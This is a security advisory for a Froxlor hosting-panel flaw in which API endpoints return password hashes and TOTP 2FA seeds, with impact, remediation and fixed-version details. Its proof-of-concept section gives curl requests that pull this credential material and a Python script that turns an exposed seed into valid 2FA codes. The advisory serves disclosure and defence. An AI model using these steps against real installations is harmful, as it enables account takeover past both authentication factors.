Skip to content

GHSA-7788-ghfq-c6mh CVE-2026-62988

Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints

Critical Packagist
Severity
9.0 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.63%
Chance of exploitation in the next 30 days. Higher than 50.07% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Fix
2.3.8
Upgrade froxlor/froxlor to this version or later

Description

Summary

Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT *, SELECT alias.*, or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.

The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.

This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.

Details

The affected API classes retrieve entire database rows and return them without filtering sensitive fields:

lib/Froxlor/Api/Commands/Customers.php

Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:

  • password
  • type_2fa
  • data_2fa

When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.

The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.

lib/Froxlor/Api/Commands/Admins.php

Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:

  • password
  • type_2fa
  • data_2fa

When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.

These fields are not stripped before returning the API response.

lib/Froxlor/Api/Commands/Ftps.php

Ftps.get() and Ftps.listing() return FTP user rows containing:

  • password

The password field is not stripped before returning the API response.

This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.

Proof of Concept

Preconditions

  • Froxlor API is enabled.
  • A valid API key and secret exist for an account allowed to call the affected API endpoints.
  • At least one customer or administrator account exists with TOTP 2FA enabled.
  • For Admins.*, the API account must have the required permission to call the affected administrator endpoint.

Set variables:

export FROXLOR_BASE='https://froxlor.example.com'
export API_KEY='<api_key>'
export API_SECRET='<api_secret>'

PoC 1: Customer password hash and TOTP seed exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Customers.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}'

Example vulnerable response:

{
  "customerid": 1,
  "loginname": "customer1",
  "password": "$2y$12$REDACTED_HASH_VALUE...",
  "type_2fa": 2,
  "data_2fa": "REDACTED_BASE32_TOTP_SEED",
  "email": "customer@example.com"
}

The same issue can be verified with Customers.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Customers.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 2: Administrator password hash and TOTP seed exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Admins.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}'

Example vulnerable response:

{
  "adminid": 1,
  "loginname": "admin",
  "password": "$2y$12$REDACTED_HASH_VALUE...",
  "type_2fa": 2,
  "data_2fa": "REDACTED_BASE32_TOTP_SEED"
}

The same issue can be verified with Admins.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Admins.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 3: FTP password hash exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Ftps.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {id, username, password}'

Example vulnerable response:

{
  "id": 1,
  "username": "customer1",
  "password": "$2y$12$REDACTED_HASH_VALUE..."
}

The same issue can be verified with Ftps.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Ftps.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 4: Generate a valid TOTP code from the exposed seed

If type_2fa = 2, the exposed data_2fa value can be used to generate valid TOTP codes for the affected account.

export TOTP_SEED='<base32_totp_seed_from_data_2fa>'

python3 - <<'PY'
import base64
import hashlib
import hmac
import os
import struct
import time

seed = os.environ["TOTP_SEED"].replace(" ", "").upper()
key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8))

counter = int(time.time() // 30)
msg = struct.pack(">Q", counter)

digest = hmac.new(key, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff

print(str(code % 1000000).zfill(6))
PY

The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.

Expected behavior

API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.

At minimum, the following fields should be omitted or redacted before returning API responses:

  • password
  • data_2fa
  • any future credential-equivalent secret fields

Impact

An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.

For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.

For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data_2fa therefore weakens or bypasses the second authentication factor for affected accounts.

The combined impact is especially severe when both password and data_2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.

Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.

Remediation

API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data_2fa should never be included in normal get or listing responses.

As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.

As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.

Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data_2fa values may have been returned through vulnerable API responses.

Affected versions

Packagist

PackageVulnerableFixed in
froxlor/froxlor
< 2.3.8
2.3.8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

froxlor/froxlor Packagist → 2.3.8

composer
composer require froxlor/froxlor:^2.3.8

Severity breakdown

CVSS 3.1 9.0

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xpr4-8vp6-c87j
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
Medium Also affects froxlor/froxlor
GHSA-5rw4-4665-cvwf
Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields
Medium Also affects froxlor/froxlor
GHSA-w27m-rmmf-g5w4
Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration
High Also affects froxlor/froxlor
GHSA-43gm-9rr3-cx7g
Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover
High Also affects froxlor/froxlor
GHSA-q4rm-m6xh-5pv7
Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API
Medium Also affects froxlor/froxlor
GHSA-mr9h-45p9-fg8h
Froxlor: Authenticated customers can read other customers' allowed sender aliases
Medium Also affects froxlor/froxlor
GHSA-f9rx-7wf7-jr36
Froxlor's API Authentication bypasses 2FA Authentication
High Also affects froxlor/froxlor
GHSA-37m5-m4q3-fc6x
Froxlor: BIND Zone File Injection via TXT Record Content
High Also affects froxlor/froxlor
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor